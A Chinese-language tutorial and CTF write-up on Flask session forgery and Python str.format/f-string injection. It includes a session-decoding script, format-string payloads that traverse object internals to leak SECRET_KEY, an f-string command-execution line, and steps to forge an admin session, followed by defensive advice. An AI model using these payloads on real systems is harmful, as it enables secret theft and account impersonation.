Python Web之flask session&格式化字符串漏洞
字数 1462 2025-08-27 12:33:48
Flask Session 与 Python 格式化字符串漏洞深度解析
一、Flask Session 安全机制与漏洞
1. Flask Session 工作机制
Flask 使用客户端 session 机制,session 数据存储在客户端的 Cookie 中(通过 HTTP 请求头的 Cookie 字段获取),其特点包括:
- 签名而非加密:Flask 仅对 session 数据进行签名,不进行加密
- 数据结构:Flask session 由三部分组成,用点号分隔:
{数据}.{时间戳}.{签名} - 示例:
eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY
2. Session 解码方法
方法一:使用 itsdangerous 库
from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data, timestamp, secret = s.split('.')
int.from_bytes(base64_decode(timestamp), byteorder='big')
方法二:使用 P 师傅的解码脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
3. Session 安全风险
- 篡改风险:由于仅签名不加密,攻击者可查看 session 内容
- 伪造风险:若获取
SECRET_KEY,可伪造任意用户 session - 横向越权:通过遍历 ID 可能实现用户信息枚举
二、Python 格式化字符串漏洞
1. Python 四种字符串格式化方式
方式一:% 操作符(C 风格)
name = 'Bob'
'Hello, %s' % name # "Hello, Bob"
方式二:string.Template
from string import Template
name = 'Bob'
t = Template('Hey, $name!')
t.substitute(name=name) # 'Hey, Bob!'
方式三:str.format() 方法(存在安全隐患)
name, errno = 'Bob', 50159747054
'Hello, {}'.format(name) # 'Hello, Bob'
'Hey {name}, there is a 0x{errno:x} error!'.format(name=name, errno=errno)
安全漏洞示例:
config = {'SECRET_KEY': '12345'}
class User(object):
def __init__(self, name):
self.name = name
user = User('joe')
'{0.__class__.__init__.__globals__[config]}'.format(user)
# 输出: "{'SECRET_KEY': '12345'}"
方式四:f-Strings(Python 3.6+,安全隐患最大)
a, b = 5, 10
f'Five plus ten is {a + b} and not {2 * (a + b)}.'
# 输出: 'Five plus ten is 15 and not 30.'
f'{__import__("os").system("id")}'
# 执行系统命令,输出: uid=0(root) gid=0(root) groups=0(root) '0'
2. 格式化字符串漏洞利用
通过控制格式化字符串,攻击者可:
- 访问对象的
__class__属性 - 访问类的
__init__方法 - 通过
__globals__获取模块全局变量 - 最终获取敏感配置信息(如
SECRET_KEY)
三、实战案例分析
1. 漏洞场景
- Flask 编写的网站,有注册/登录功能
- 登录后有 "edit secret" 功能
- 存在用户信息遍历漏洞(通过修改
id参数)
2. 漏洞利用步骤
第一步:发现格式化字符串漏洞
在编辑 secret 处发现存在双重格式化:
secret_t = "my secret is {user_m.secret}".format(user_m=user_m)
secret_t = secret_t.format(user_m=user_m) # 二次格式化,存在漏洞
第二步:构造 Payload 获取 SECRET_KEY
利用 SQLAlchemy 对象继承关系,构造 Payload:
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
或官方 writeup 中的 Payload:
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
第三步:伪造 Admin Session
获取 SECRET_KEY 后,本地伪造 admin session:
from flask import Flask, session
app = Flask(__name__)
app.config['SECRET_KEY'] = '获取到的SECRET_KEY'
@app.route('/flag')
def set_id():
session['user_id'] = 5 # admin的ID
return "ok"
app.run(debug=True)
3. 完整攻击链
- 利用用户信息遍历漏洞发现 admin 的 ID
- 利用格式化字符串漏洞获取
SECRET_KEY - 使用
SECRET_KEY伪造 admin 的 session - 使用伪造的 session 登录获取 flag
四、防御措施
1. Flask Session 安全加固
- 不要使用默认的
SECRET_KEY - 定期更换
SECRET_KEY - 考虑使用服务器端 session 存储
- 对敏感操作增加二次验证
2. 防止格式化字符串漏洞
- 避免使用用户输入作为格式化字符串
- 使用安全的字符串格式化方式(如
string.Template) - 对用户输入进行严格过滤和转义
- 使用最新版 Python,避免不必要的功能暴露